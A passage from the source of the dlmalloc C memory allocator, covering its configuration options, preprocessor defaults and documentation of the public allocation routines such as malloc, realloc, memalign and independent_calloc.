power of two and at least 8, even on machines for which smaller
alignments would suffice. It may be defined as larger than this
though. Note however that code and data structures are optimized for
the case of 8-byte alignment.
MSPACES default: 0 (false)
If true, compile in support for independent allocation spaces.
This is only supported if HAVE_MMAP is true.
ONLY_MSPACES default: 0 (false)
If true, only compile in mspace versions, not regular versions.
USE_LOCKS default: 0 (false)
Causes each call to each public routine to be surrounded with
pthread or WIN32 mutex lock/unlock. (If set true, this can be
overridden on a per-mspace basis for mspace versions.) If set to a
non-zero value other than 1, locks are used, but their
implementation is left out, so lock functions must be supplied manually,
as described below.
USE_SPIN_LOCKS default: 1 iff USE_LOCKS and spin locks available
If true, uses custom spin locks for locking. This is currently
supported only gcc >= 4.1, older gccs on x86 platforms, and recent
MS compilers. Otherwise, posix locks or win32 critical sections are
used.
USE_RECURSIVE_LOCKS default: not defined
If defined nonzero, uses recursive (aka reentrant) locks, otherwise
uses plain mutexes. This is not required for malloc proper, but may
be needed for layered allocators such as nedmalloc.
LOCK_AT_FORK default: not defined
If defined nonzero, performs pthread_atfork upon initialization
to initialize child lock while holding parent lock. The implementation
assumes that pthread locks (not custom locks) are being used. In other
cases, you may need to customize the implementation.
FOOTERS default: 0
If true, provide extra checking and dispatching by placing
information in the footers of allocated chunks. This adds
space and time overhead.
INSECURE default: 0
If true, omit checks for usage errors and heap space overwrites.
USE_DL_PREFIX default: NOT defined
Causes compiler to prefix all public routines with the string 'dl'.
This can be useful when you only want to use this malloc in one part
of a program, using your regular system malloc elsewhere.
MALLOC_INSPECT_ALL default: NOT defined
If defined, compiles malloc_inspect_all and mspace_inspect_all, that
perform traversal of all heap space. Unless access to these
functions is otherwise restricted, you probably do not want to
include them in secure implementations.
ABORT default: defined as abort()
Defines how to abort on failed checks. On most systems, a failed
check cannot die with an "assert" or even print an informative
message, because the underlying print routines in turn call malloc,
which will fail again. Generally, the best policy is to simply call
abort(). It's not very useful to do more than this because many
errors due to overwriting will show up as address faults (null, odd
addresses etc) rather than malloc-triggered checks, so will also
abort. Also, most compilers know that abort() does not return, so
can better optimize code conditionally calling it.
PROCEED_ON_ERROR default: defined as 0 (false)
Controls whether detected bad addresses cause them to bypassed
rather than aborting. If set, detected bad arguments to free and
realloc are ignored. And all bookkeeping information is zeroed out
upon a detected overwrite of freed heap space, thus losing the
ability to ever return it from malloc again, but enabling the
application to proceed. If PROCEED_ON_ERROR is defined, the
static variable malloc_corruption_error_count is compiled in
and can be examined to see if errors have occurred. This option
generates slower code than the default abort policy.
DEBUG default: NOT defined
The DEBUG setting is mainly intended for people trying to modify
this code or diagnose problems when porting to new platforms.
However, it may also be able to better isolate user errors than just
using runtime checks. The assertions in the check routines spell
out in more detail the assumptions and invariants underlying the
algorithms. The checking is fairly extensive, and will slow down
execution noticeably. Calling malloc_stats or mallinfo with DEBUG
set will attempt to check every non-mmapped allocated and free chunk
in the course of computing the summaries.
ABORT_ON_ASSERT_FAILURE default: defined as 1 (true)
Debugging assertion failures can be nearly impossible if your
version of the assert macro causes malloc to be called, which will
lead to a cascade of further failures, blowing the runtime stack.
ABORT_ON_ASSERT_FAILURE cause assertions failures to call abort(),
which will usually make debugging easier.
MALLOC_FAILURE_ACTION default: sets errno to ENOMEM, or no-op on win32
The action to take before "return 0" when malloc fails to be able to
return memory because there is none available.
HAVE_MORECORE default: 1 (true) unless win32 or ONLY_MSPACES
True if this system supports sbrk or an emulation of it.
MORECORE default: sbrk
The name of the sbrk-style system routine to call to obtain more
memory. See below for guidance on writing custom MORECORE
functions. The type of the argument to sbrk/MORECORE varies across
systems. It cannot be size_t, because it supports negative
arguments, so it is normally the signed type of the same width as
size_t (sometimes declared as "intptr_t"). It doesn't much matter
though. Internally, we only call it with arguments less than half
the max value of a size_t, which should work across all reasonable
possibilities, although sometimes generating compiler warnings.
MORECORE_CONTIGUOUS default: 1 (true) if HAVE_MORECORE
If true, take advantage of fact that consecutive calls to MORECORE
with positive arguments always return contiguous increasing
addresses. This is true of unix sbrk. It does not hurt too much to
set it true anyway, since malloc copes with non-contiguities.
Setting it false when definitely non-contiguous saves time
and possibly wasted space it would take to discover this though.
MORECORE_CANNOT_TRIM default: NOT defined
True if MORECORE cannot release space back to the system when given
negative arguments. This is generally necessary only if you are
using a hand-crafted MORECORE function that cannot handle negative
arguments.
NO_SEGMENT_TRAVERSAL default: 0
If non-zero, suppresses traversals of memory segments
returned by either MORECORE or CALL_MMAP. This disables
merging of segments that are contiguous, and selectively
releasing them to the OS if unused, but bounds execution times.
HAVE_MMAP default: 1 (true)
True if this system supports mmap or an emulation of it. If so, and
HAVE_MORECORE is not true, MMAP is used for all system
allocation. If set and HAVE_MORECORE is true as well, MMAP is
primarily used to directly allocate very large blocks. It is also
used as a backup strategy in cases where MORECORE fails to provide
space from system. Note: A single call to MUNMAP is assumed to be
able to unmap memory that may have be allocated using multiple calls
to MMAP, so long as they are adjacent.
HAVE_MREMAP default: 1 on linux, else 0
If true realloc() uses mremap() to re-allocate large blocks and
extend or shrink allocation spaces.
MMAP_CLEARS default: 1 except on WINCE.
True if mmap clears memory so calloc doesn't need to. This is true
for standard unix mmap using /dev/zero and on WIN32 except for WINCE.
USE_BUILTIN_FFS default: 0 (i.e., not used)
Causes malloc to use the builtin ffs() function to compute indices.
Some compilers may recognize and intrinsify ffs to be faster than the
supplied C version. Also, the case of x86 using gcc is special-cased
to an asm instruction, so is already as fast as it can be, and so
this setting has no effect. Similarly for Win32 under recent MS compilers.
(On most x86s, the asm version is only slightly faster than the C version.)
malloc_getpagesize default: derive from system includes, or 4096.
The system page size. To the extent possible, this malloc manages
memory from the system in page-size units. This may be (and
usually is) a function rather than a constant. This is ignored
if WIN32, where page size is determined using getSystemInfo during
initialization.
USE_DEV_RANDOM default: 0 (i.e., not used)
Causes malloc to use /dev/random to initialize secure magic seed for
stamping footers. Otherwise, the current time is used.
NO_MALLINFO default: 0
If defined, don't compile "mallinfo". This can be a simple way
of dealing with mismatches between system declarations and
those in this file.
MALLINFO_FIELD_TYPE default: size_t
The type of the fields in the mallinfo struct. This was originally
defined as "int" in SVID etc, but is more usefully defined as
size_t. The value is used only if HAVE_USR_INCLUDE_MALLOC_H is not set
NO_MALLOC_STATS default: 0
If defined, don't compile "malloc_stats". This avoids calls to
fprintf and bringing in stdio dependencies you might not want.
REALLOC_ZERO_BYTES_FREES default: not defined
This should be set if a call to realloc with zero bytes should
be the same as a call to free. Some people think it should. Otherwise,
since this malloc returns a unique pointer for malloc(0), so does
realloc(p, 0).
LACKS_UNISTD_H, LACKS_FCNTL_H, LACKS_SYS_PARAM_H, LACKS_SYS_MMAN_H
LACKS_STRINGS_H, LACKS_STRING_H, LACKS_SYS_TYPES_H, LACKS_ERRNO_H
LACKS_STDLIB_H LACKS_SCHED_H LACKS_TIME_H default: NOT defined unless on WIN32
Define these if your system does not have these header files.
You might need to manually insert some of the declarations they provide.
DEFAULT_GRANULARITY default: page size if MORECORE_CONTIGUOUS,
system_info.dwAllocationGranularity in WIN32,
otherwise 64K.
Also settable using mallopt(M_GRANULARITY, x)
The unit for allocating and deallocating memory from the system. On
most systems with contiguous MORECORE, there is no reason to
make this more than a page. However, systems with MMAP tend to
either require or encourage larger granularities. You can increase
this value to prevent system allocation functions to be called so
often, especially if they are slow. The value must be at least one
page and must be a power of two. Setting to 0 causes initialization
to either page size or win32 region size. (Note: In previous
versions of malloc, the equivalent of this option was called
"TOP_PAD")
DEFAULT_TRIM_THRESHOLD default: 2MB
Also settable using mallopt(M_TRIM_THRESHOLD, x)
The maximum amount of unused top-most memory to keep before
releasing via malloc_trim in free(). Automatic trimming is mainly
useful in long-lived programs using contiguous MORECORE. Because
trimming via sbrk can be slow on some systems, and can sometimes be
wasteful (in cases where programs immediately afterward allocate
more large chunks) the value should be high enough so that your
overall system performance would improve by releasing this much
memory. As a rough guide, you might set to a value close to the
average size of a process (program) running on your system.
Releasing this much memory would allow such a process to run in
memory. Generally, it is worth tuning trim thresholds when a
program undergoes phases where several large chunks are allocated
and released in ways that can reuse each other's storage, perhaps
mixed with phases where there are no such chunks at all. The trim
value must be greater than page size to have any useful effect. To
disable trimming completely, you can set to MAX_SIZE_T. Note that the trick
some people use of mallocing a huge space and then freeing it at
program startup, in an attempt to reserve system memory, doesn't
have the intended effect under automatic trimming, since that memory
will immediately be returned to the system.
DEFAULT_MMAP_THRESHOLD default: 256K
Also settable using mallopt(M_MMAP_THRESHOLD, x)
The request size threshold for using MMAP to directly service a
request. Requests of at least this size that cannot be allocated
using already-existing space will be serviced via mmap. (If enough
normal freed space already exists it is used instead.) Using mmap
segregates relatively large chunks of memory so that they can be
individually obtained and released from the host system. A request
serviced through mmap is never reused by any other request (at least
not directly; the system may just so happen to remap successive
requests to the same locations). Segregating space in this way has
the benefits that: Mmapped space can always be individually released
back to the system, which helps keep the system level memory demands
of a long-lived program low. Also, mapped memory doesn't become
`locked' between other chunks, as can happen with normally allocated
chunks, which means that even trimming via malloc_trim would not
release them. However, it has the disadvantage that the space
cannot be reclaimed, consolidated, and then used to service later
requests, as happens with normal chunks. The advantages of mmap
nearly always outweigh disadvantages for "large" chunks, but the
value of "large" may vary across systems. The default is an
empirically derived value that works well in most systems. You can
disable mmap by setting to MAX_SIZE_T.
MAX_RELEASE_CHECK_RATE default: 4095 unless not HAVE_MMAP
The number of consolidated frees between checks to release
unused segments when freeing. When using non-contiguous segments,
especially with multiple mspaces, checking only for topmost space
doesn't always suffice to trigger trimming. To compensate for this,
free() will, with a period of MAX_RELEASE_CHECK_RATE (or the
current number of segments, if greater) try to release unused
segments to the OS when freeing chunks that result in
consolidation. The best value for this parameter is a compromise
between slowing down frees with relatively costly checks that
rarely trigger versus holding on to unused memory. To effectively
disable, set to MAX_SIZE_T. This may lead to a very slight speed
improvement at the expense of carrying around more memory.
*/
/* Version identifier to allow people to support multiple versions */
#ifndef DLMALLOC_VERSION
#define DLMALLOC_VERSION 20806
#endif /* DLMALLOC_VERSION */
#ifndef DLMALLOC_EXPORT
#define DLMALLOC_EXPORT extern
#endif
#ifndef WIN32
#ifdef _WIN32
#define WIN32 1
#endif /* _WIN32 */
#ifdef _WIN32_WCE
#define LACKS_FCNTL_H
#define WIN32 1
#endif /* _WIN32_WCE */
#endif /* WIN32 */
#ifdef WIN32
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tchar.h>
#define HAVE_MMAP 1
#define HAVE_MORECORE 0
#define LACKS_UNISTD_H
#define LACKS_SYS_PARAM_H
#define LACKS_SYS_MMAN_H
#define LACKS_STRING_H
#define LACKS_STRINGS_H
#define LACKS_SYS_TYPES_H
#define LACKS_ERRNO_H
#define LACKS_SCHED_H
#ifndef MALLOC_FAILURE_ACTION
#define MALLOC_FAILURE_ACTION
#endif /* MALLOC_FAILURE_ACTION */
#ifndef MMAP_CLEARS
#ifdef _WIN32_WCE /* WINCE reportedly does not clear */
#define MMAP_CLEARS 0
#else
#define MMAP_CLEARS 1
#endif /* _WIN32_WCE */
#endif /*MMAP_CLEARS */
#endif /* WIN32 */
#if defined(DARWIN) || defined(_DARWIN)
/* Mac OSX docs advise not to use sbrk; it seems better to use mmap */
#ifndef HAVE_MORECORE
#define HAVE_MORECORE 0
#define HAVE_MMAP 1
/* OSX allocators provide 16 byte alignment */
#ifndef MALLOC_ALIGNMENT
#define MALLOC_ALIGNMENT ((size_t)16U)
#endif
#endif /* HAVE_MORECORE */
#endif /* DARWIN */
#ifndef LACKS_SYS_TYPES_H
#include <sys/types.h> /* For size_t */
#endif /* LACKS_SYS_TYPES_H */
/* The maximum possible size_t value has all bits set */
#define MAX_SIZE_T (~(size_t)0)
#ifndef USE_LOCKS /* ensure true if spin or recursive locks set */
#define USE_LOCKS ((defined(USE_SPIN_LOCKS) && USE_SPIN_LOCKS != 0) || \
(defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0))
#endif /* USE_LOCKS */
#if USE_LOCKS /* Spin locks for gcc >= 4.1, older gcc on x86, MSC >= 1310 */
#if ((defined(__GNUC__) && \
((__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 1)) || \
defined(__i386__) || defined(__x86_64__))) || \
(defined(_MSC_VER) && _MSC_VER>=1310))
#ifndef USE_SPIN_LOCKS
#define USE_SPIN_LOCKS 1
#endif /* USE_SPIN_LOCKS */
#elif USE_SPIN_LOCKS
#error "USE_SPIN_LOCKS defined without implementation"
#endif /* ... locks available... */
#elif !defined(USE_SPIN_LOCKS)
#define USE_SPIN_LOCKS 0
#endif /* USE_LOCKS */
/* Custom Start */
#define MSPACES 1
#define USE_DL_PREFIX
/* Custom End */
#ifndef ONLY_MSPACES
#define ONLY_MSPACES 0
#endif /* ONLY_MSPACES */
#ifndef MSPACES
#if ONLY_MSPACES
#define MSPACES 1
#else /* ONLY_MSPACES */
#define MSPACES 0
#endif /* ONLY_MSPACES */
#endif /* MSPACES */
#ifndef MALLOC_ALIGNMENT
#define MALLOC_ALIGNMENT ((size_t)(2 * sizeof(void *)))
#endif /* MALLOC_ALIGNMENT */
#ifndef FOOTERS
#define FOOTERS 0
#endif /* FOOTERS */
#ifndef ABORT
#define ABORT abort()
#endif /* ABORT */
#ifndef ABORT_ON_ASSERT_FAILURE
#define ABORT_ON_ASSERT_FAILURE 1
#endif /* ABORT_ON_ASSERT_FAILURE */
#ifndef PROCEED_ON_ERROR
#define PROCEED_ON_ERROR 0
#endif /* PROCEED_ON_ERROR */
#ifndef INSECURE
#define INSECURE 0
#endif /* INSECURE */
#ifndef MALLOC_INSPECT_ALL
#define MALLOC_INSPECT_ALL 0
#endif /* MALLOC_INSPECT_ALL */
#ifndef HAVE_MMAP
#define HAVE_MMAP 1
#endif /* HAVE_MMAP */
#ifndef MMAP_CLEARS
#define MMAP_CLEARS 1
#endif /* MMAP_CLEARS */
#ifndef HAVE_MREMAP
#ifdef linux
#define HAVE_MREMAP 1
#define _GNU_SOURCE /* Turns on mremap() definition */
#else /* linux */
#define HAVE_MREMAP 0
#endif /* linux */
#endif /* HAVE_MREMAP */
#ifndef MALLOC_FAILURE_ACTION
#define MALLOC_FAILURE_ACTION errno = ENOMEM;
#endif /* MALLOC_FAILURE_ACTION */
#ifndef HAVE_MORECORE
#if ONLY_MSPACES
#define HAVE_MORECORE 0
#else /* ONLY_MSPACES */
#define HAVE_MORECORE 1
#endif /* ONLY_MSPACES */
#endif /* HAVE_MORECORE */
#if !HAVE_MORECORE
#define MORECORE_CONTIGUOUS 0
#else /* !HAVE_MORECORE */
#define MORECORE_DEFAULT sbrk
#ifndef MORECORE_CONTIGUOUS
#define MORECORE_CONTIGUOUS 1
#endif /* MORECORE_CONTIGUOUS */
#endif /* HAVE_MORECORE */
#ifndef DEFAULT_GRANULARITY
#if (MORECORE_CONTIGUOUS || defined(WIN32))
#define DEFAULT_GRANULARITY (0) /* 0 means to compute in init_mparams */
#else /* MORECORE_CONTIGUOUS */
#define DEFAULT_GRANULARITY ((size_t)64U * (size_t)1024U)
#endif /* MORECORE_CONTIGUOUS */
#endif /* DEFAULT_GRANULARITY */
#ifndef DEFAULT_TRIM_THRESHOLD
#ifndef MORECORE_CANNOT_TRIM
#define DEFAULT_TRIM_THRESHOLD ((size_t)2U * (size_t)1024U * (size_t)1024U)
#else /* MORECORE_CANNOT_TRIM */
#define DEFAULT_TRIM_THRESHOLD MAX_SIZE_T
#endif /* MORECORE_CANNOT_TRIM */
#endif /* DEFAULT_TRIM_THRESHOLD */
#ifndef DEFAULT_MMAP_THRESHOLD
#if HAVE_MMAP
#define DEFAULT_MMAP_THRESHOLD ((size_t)256U * (size_t)1024U)
#else /* HAVE_MMAP */
#define DEFAULT_MMAP_THRESHOLD MAX_SIZE_T
#endif /* HAVE_MMAP */
#endif /* DEFAULT_MMAP_THRESHOLD */
#ifndef MAX_RELEASE_CHECK_RATE
#if HAVE_MMAP
#define MAX_RELEASE_CHECK_RATE 4095
#else
#define MAX_RELEASE_CHECK_RATE MAX_SIZE_T
#endif /* HAVE_MMAP */
#endif /* MAX_RELEASE_CHECK_RATE */
#ifndef USE_BUILTIN_FFS
#define USE_BUILTIN_FFS 0
#endif /* USE_BUILTIN_FFS */
#ifndef USE_DEV_RANDOM
#define USE_DEV_RANDOM 0
#endif /* USE_DEV_RANDOM */
#ifndef NO_MALLINFO
#define NO_MALLINFO 0
#endif /* NO_MALLINFO */
#ifndef MALLINFO_FIELD_TYPE
#define MALLINFO_FIELD_TYPE size_t
#endif /* MALLINFO_FIELD_TYPE */
#ifndef NO_MALLOC_STATS
#define NO_MALLOC_STATS 0
#endif /* NO_MALLOC_STATS */
#ifndef NO_SEGMENT_TRAVERSAL
#define NO_SEGMENT_TRAVERSAL 0
#endif /* NO_SEGMENT_TRAVERSAL */
/*
mallopt tuning options. SVID/XPG defines four standard parameter
numbers for mallopt, normally defined in malloc.h. None of these
are used in this malloc, so setting them has no effect. But this
malloc does support the following options.
*/
#define M_TRIM_THRESHOLD (-1)
#define M_GRANULARITY (-2)
#define M_MMAP_THRESHOLD (-3)
/* ------------------------ Mallinfo declarations ------------------------ */
#if !NO_MALLINFO
/*
This version of malloc supports the standard SVID/XPG mallinfo
routine that returns a struct containing usage properties and
statistics. It should work on any system that has a
/usr/include/malloc.h defining struct mallinfo. The main
declaration needed is the mallinfo struct that is returned (by-copy)
by mallinfo(). The malloinfo struct contains a bunch of fields that
are not even meaningful in this version of malloc. These fields are
are instead filled by mallinfo() with other numbers that might be of
interest.
HAVE_USR_INCLUDE_MALLOC_H should be set if you have a
/usr/include/malloc.h file that includes a declaration of struct
mallinfo. If so, it is included; else a compliant version is
declared below. These must be precisely the same for mallinfo() to
work. The original SVID version of this struct, defined on most
systems with mallinfo, declares all fields as ints. But some others
define as unsigned long. If your system defines the fields using a
type of different width than listed here, you MUST #include your
system version and #define HAVE_USR_INCLUDE_MALLOC_H.
*/
/* #define HAVE_USR_INCLUDE_MALLOC_H */
#ifdef HAVE_USR_INCLUDE_MALLOC_H
#include "/usr/include/malloc.h"
#else /* HAVE_USR_INCLUDE_MALLOC_H */
#ifndef STRUCT_MALLINFO_DECLARED
/* HP-UX (and others?) redefines mallinfo unless _STRUCT_MALLINFO is defined */
#define _STRUCT_MALLINFO
#define STRUCT_MALLINFO_DECLARED 1
struct mallinfo {
MALLINFO_FIELD_TYPE arena; /* non-mmapped space allocated from system */
MALLINFO_FIELD_TYPE ordblks; /* number of free chunks */
MALLINFO_FIELD_TYPE smblks; /* always 0 */
MALLINFO_FIELD_TYPE hblks; /* always 0 */
MALLINFO_FIELD_TYPE hblkhd; /* space in mmapped regions */
MALLINFO_FIELD_TYPE usmblks; /* maximum total allocated space */
MALLINFO_FIELD_TYPE fsmblks; /* always 0 */
MALLINFO_FIELD_TYPE uordblks; /* total allocated space */
MALLINFO_FIELD_TYPE fordblks; /* total free space */
MALLINFO_FIELD_TYPE keepcost; /* releasable (via malloc_trim) space */
};
#endif /* STRUCT_MALLINFO_DECLARED */
#endif /* HAVE_USR_INCLUDE_MALLOC_H */
#endif /* NO_MALLINFO */
/*
Try to persuade compilers to inline. The most critical functions for
inlining are defined as macros, so these aren't used for them.
*/
#ifndef FORCEINLINE
#if defined(__GNUC__)
#define FORCEINLINE __inline __attribute__ ((always_inline))
#elif defined(_MSC_VER)
#define FORCEINLINE __forceinline
#endif
#endif
#ifndef NOINLINE
#if defined(__GNUC__)
#define NOINLINE __attribute__ ((noinline))
#elif defined(_MSC_VER)
#define NOINLINE __declspec(noinline)
#else
#define NOINLINE
#endif
#endif
#ifdef __cplusplus
extern "C" {
#ifndef FORCEINLINE
#define FORCEINLINE inline
#endif
#endif /* __cplusplus */
#ifndef FORCEINLINE
#define FORCEINLINE
#endif
#if !ONLY_MSPACES
/* ------------------- Declarations of public routines ------------------- */
#ifndef USE_DL_PREFIX
#define dlcalloc calloc
#define dlfree free
#define dlmalloc malloc
#define dlmemalign memalign
#define dlposix_memalign posix_memalign
#define dlrealloc realloc
#define dlrealloc_in_place realloc_in_place
#define dlvalloc valloc
#define dlpvalloc pvalloc
#define dlmallinfo mallinfo
#define dlmallopt mallopt
#define dlmalloc_trim malloc_trim
#define dlmalloc_stats malloc_stats
#define dlmalloc_usable_size malloc_usable_size
#define dlmalloc_footprint malloc_footprint
#define dlmalloc_max_footprint malloc_max_footprint
#define dlmalloc_footprint_limit malloc_footprint_limit
#define dlmalloc_set_footprint_limit malloc_set_footprint_limit
#define dlmalloc_inspect_all malloc_inspect_all
#define dlindependent_calloc independent_calloc
#define dlindependent_comalloc independent_comalloc
#define dlbulk_free bulk_free
#endif /* USE_DL_PREFIX */
/*
malloc(size_t n)
Returns a pointer to a newly allocated chunk of at least n bytes, or
null if no space is available, in which case errno is set to ENOMEM
on ANSI C systems.
If n is zero, malloc returns a minimum-sized chunk. (The minimum
size is 16 bytes on most 32bit systems, and 32 bytes on 64bit
systems.) Note that size_t is an unsigned type, so calls with
arguments that would be negative if signed are interpreted as
requests for huge amounts of space, which will often fail. The
maximum supported value of n differs across systems, but is in all
cases less than the maximum representable value of a size_t.
*/
DLMALLOC_EXPORT void* dlmalloc(size_t);
/*
free(void* p)
Releases the chunk of memory pointed to by p, that had been previously
allocated using malloc or a related routine such as realloc.
It has no effect if p is null. If p was not malloced or already
freed, free(p) will by default cause the current program to abort.
*/
DLMALLOC_EXPORT void dlfree(void*);
/*
calloc(size_t n_elements, size_t element_size);
Returns a pointer to n_elements * element_size bytes, with all locations
set to zero.
*/
DLMALLOC_EXPORT void* dlcalloc(size_t, size_t);
/*
realloc(void* p, size_t n)
Returns a pointer to a chunk of size n that contains the same data
as does chunk p up to the minimum of (n, p's size) bytes, or null
if no space is available.
The returned pointer may or may not be the same as p. The algorithm
prefers extending p in most cases when possible, otherwise it
employs the equivalent of a malloc-copy-free sequence.
If p is null, realloc is equivalent to malloc.
If space is not available, realloc returns null, errno is set (if on
ANSI) and p is NOT freed.
if n is for fewer bytes than already held by p, the newly unused
space is lopped off and freed if possible. realloc with a size
argument of zero (re)allocates a minimum-sized chunk.
The old unix realloc convention of allowing the last-free'd chunk
to be used as an argument to realloc is not supported.
*/
DLMALLOC_EXPORT void* dlrealloc(void*, size_t);
/*
realloc_in_place(void* p, size_t n)
Resizes the space allocated for p to size n, only if this can be
done without moving p (i.e., only if there is adjacent space
available if n is greater than p's current allocated size, or n is
less than or equal to p's size). This may be used instead of plain
realloc if an alternative allocation strategy is needed upon failure
to expand space; for example, reallocation of a buffer that must be
memory-aligned or cleared. You can use realloc_in_place to trigger
these alternatives only when needed.
Returns p if successful; otherwise null.
*/
DLMALLOC_EXPORT void* dlrealloc_in_place(void*, size_t);
/*
memalign(size_t alignment, size_t n);
Returns a pointer to a newly allocated chunk of n bytes, aligned
in accord with the alignment argument.
The alignment argument should be a power of two. If the argument is
not a power of two, the nearest greater power is used.
8-byte alignment is guaranteed by normal malloc calls, so don't
bother calling memalign with an argument of 8 or less.
Overreliance on memalign is a sure way to fragment space.
*/
DLMALLOC_EXPORT void* dlmemalign(size_t, size_t);
/*
int posix_memalign(void** pp, size_t alignment, size_t n);
Allocates a chunk of n bytes, aligned in accord with the alignment
argument. Differs from memalign only in that it (1) assigns the
allocated memory to *pp rather than returning it, (2) fails and
returns EINVAL if the alignment is not a power of two (3) fails and
returns ENOMEM if memory cannot be allocated.
*/
DLMALLOC_EXPORT int dlposix_memalign(void**, size_t, size_t);
/*
valloc(size_t n);
Equivalent to memalign(pagesize, n), where pagesize is the page
size of the system. If the pagesize is unknown, 4096 is used.
*/
DLMALLOC_EXPORT void* dlvalloc(size_t);
/*
mallopt(int parameter_number, int parameter_value)
Sets tunable parameters The format is to provide a
(parameter-number, parameter-value) pair. mallopt then sets the
corresponding parameter to the argument value if it can (i.e., so
long as the value is meaningful), and returns 1 if successful else
0. To workaround the fact that mallopt is specified to use int,
not size_t parameters, the value -1 is specially treated as the
maximum unsigned size_t value.
SVID/XPG/ANSI defines four standard param numbers for mallopt,
normally defined in malloc.h. None of these are use in this malloc,
so setting them has no effect. But this malloc also supports other
options in mallopt. See below for details. Briefly, supported
parameters are as follows (listed defaults are for "typical"
configurations).
Symbol param # default allowed param values
M_TRIM_THRESHOLD -1 2*1024*1024 any (-1 disables)
M_GRANULARITY -2 page size any power of 2 >= page size
M_MMAP_THRESHOLD -3 256*1024 any (or 0 if no MMAP support)
*/
DLMALLOC_EXPORT int dlmallopt(int, int);
/*
malloc_footprint();
Returns the number of bytes obtained from the system. The total
number of bytes allocated by malloc, realloc etc., is less than this
value. Unlike mallinfo, this function returns only a precomputed
result, so can be called frequently to monitor memory consumption.
Even if locks are otherwise defined, this function does not use them,
so results might not be up to date.
*/
DLMALLOC_EXPORT size_t dlmalloc_footprint(void);
/*
malloc_max_footprint();
Returns the maximum number of bytes obtained from the system. This
value will be greater than current footprint if deallocated space
has been reclaimed by the system. The peak number of bytes allocated
by malloc, realloc etc., is less than this value. Unlike mallinfo,
this function returns only a precomputed result, so can be called
frequently to monitor memory consumption. Even if locks are
otherwise defined, this function does not use them, so results might
not be up to date.
*/
DLMALLOC_EXPORT size_t dlmalloc_max_footprint(void);
/*
malloc_footprint_limit();
Returns the number of bytes that the heap is allowed to obtain from
the system, returning the last value returned by
malloc_set_footprint_limit, or the maximum size_t value if
never set. The returned value reflects a permission. There is no
guarantee that this number of bytes can actually be obtained from
the system.
*/
DLMALLOC_EXPORT size_t dlmalloc_footprint_limit();
/*
malloc_set_footprint_limit();
Sets the maximum number of bytes to obtain from the system, causing
failure returns from malloc and related functions upon attempts to
exceed this value. The argument value may be subject to page
rounding to an enforceable limit; this actual value is returned.
Using an argument of the maximum possible size_t effectively
disables checks. If the argument is less than or equal to the
current malloc_footprint, then all future allocations that require
additional system memory will fail. However, invocation cannot
retroactively deallocate existing used memory.
*/
DLMALLOC_EXPORT size_t dlmalloc_set_footprint_limit(size_t bytes);
#if MALLOC_INSPECT_ALL
/*
malloc_inspect_all(void(*handler)(void *start,
void *end,
size_t used_bytes,
void* callback_arg),
void* arg);
Traverses the heap and calls the given handler for each managed
region, skipping all bytes that are (or may be) used for bookkeeping
purposes. Traversal does not include include chunks that have been
directly memory mapped. Each reported region begins at the start
address, and continues up to but not including the end address. The
first used_bytes of the region contain allocated data. If
used_bytes is zero, the region is unallocated. The handler is
invoked with the given callback argument. If locks are defined, they
are held during the entire traversal. It is a bad idea to invoke
other malloc functions from within the handler.
For example, to count the number of in-use chunks with size greater
than 1000, you could write:
static int count = 0;
void count_chunks(void* start, void* end, size_t used, void* arg) {
if (used >= 1000) ++count;
}
then:
malloc_inspect_all(count_chunks, NULL);
malloc_inspect_all is compiled only if MALLOC_INSPECT_ALL is defined.
*/
DLMALLOC_EXPORT void dlmalloc_inspect_all(void(*handler)(void*, void *, size_t, void*),
void* arg);
#endif /* MALLOC_INSPECT_ALL */
#if !NO_MALLINFO
/*
mallinfo()
Returns (by copy) a struct containing various summary statistics:
arena: current total non-mmapped bytes allocated from system
ordblks: the number of free chunks
smblks: always zero.
hblks: current number of mmapped regions
hblkhd: total bytes held in mmapped regions
usmblks: the maximum total allocated space. This will be greater
than current total if trimming has occurred.
fsmblks: always zero
uordblks: current total allocated space (normal or mmapped)
fordblks: total free space
keepcost: the maximum number of bytes that could ideally be released
back to system via malloc_trim. ("ideally" means that
it ignores page restrictions etc.)
Because these fields are ints, but internal bookkeeping may
be kept as longs, the reported values may wrap around zero and
thus be inaccurate.
*/
DLMALLOC_EXPORT struct mallinfo dlmallinfo(void);
#endif /* NO_MALLINFO */
/*
independent_calloc(size_t n_elements, size_t element_size, void* chunks[]);
independent_calloc is similar to calloc, but instead of returning a
single cleared space, it returns an array of pointers to n_elements
independent elements that can hold contents of size elem_size, each
of which starts out cleared, and can be independently freed,
realloc'ed etc. The elements are guaranteed to be adjacently
allocated (this is not guaranteed to occur with multiple callocs or
mallocs), which may also improve cache locality in some
applications.
The "chunks" argument is optional (i.e., may be null, which is
probably the most typical usage). If it is null, the returned array
is itself dynamically allocated and should also be freed when it is
no longer needed. Otherwise, the chunks array must be of at least
n_elements in length. It is filled in with the pointers to the
chunks.
In either case, independent_calloc returns this pointer array, or
null if the allocation failed. If n_elements is zero and "chunks"
is null, it returns a chunk representing an array with zero elements
(which should be freed if not wanted).
Each element must be freed when it is no longer needed. This can be
done all at once using bulk_free.
independent_calloc simplifies and speeds up implementations of many
kinds of pools. It may also be useful when constructing large data
structures that initially have a fixed number of fixed-sized nodes,
but the number is not known at compile time, and some of the nodes
may later need to be freed. For example:
struct Node { int item; struct Node* next; };
struct Node* build_list() {
struct Node** pool;
int n = read_number_of_nodes_needed();
if (n <= 0) return 0;
pool = (struct Node**)(independent_calloc(n, sizeof(struct Node), 0);
if (pool == 0) die();
// organize into a linked list...
struct Node* first = pool[0];
for (i = 0; i < n-1; ++i)
pool[i]->next = pool[i+1];
free(pool); // Can now free the array (or not, if it is needed later)
return first;
}
*/
DLMALLOC_EXPORT void** dlindependent_calloc(size_t, size_t, void**);
/*
independent_comalloc(size_t n_elements, size_t sizes[], void* chunks[]);
independent_comalloc allocates, all at once, a set of n_elements
chunks with sizes indicated in the "sizes" array. It returns
an array of pointers to these elements, each of which can be
independently freed, realloc'ed etc. The elements are guaranteed to
be adjacently allocated (this is not guaranteed to occur with
multiple callocs or mallocs), which may also improve cache locality
in some applications.
The "chunks" argument is optional (i.e., may be null). If it is null
the returned array is itself dynamically allocated and should also
be freed when it is no longer needed. Otherwise, the chunks array
must be of at least n_elements in length. It is filled in with the
pointers to the chunks.
In either case, independent_comalloc returns this pointer array, or
null if the allocation failed. If n_elements is zero and chunks is
null, it returns a chunk representing an array with zero elements
(which should be freed if not wanted).
Each element must be freed when it is no longer needed. This can be
done all at once using bulk_free.
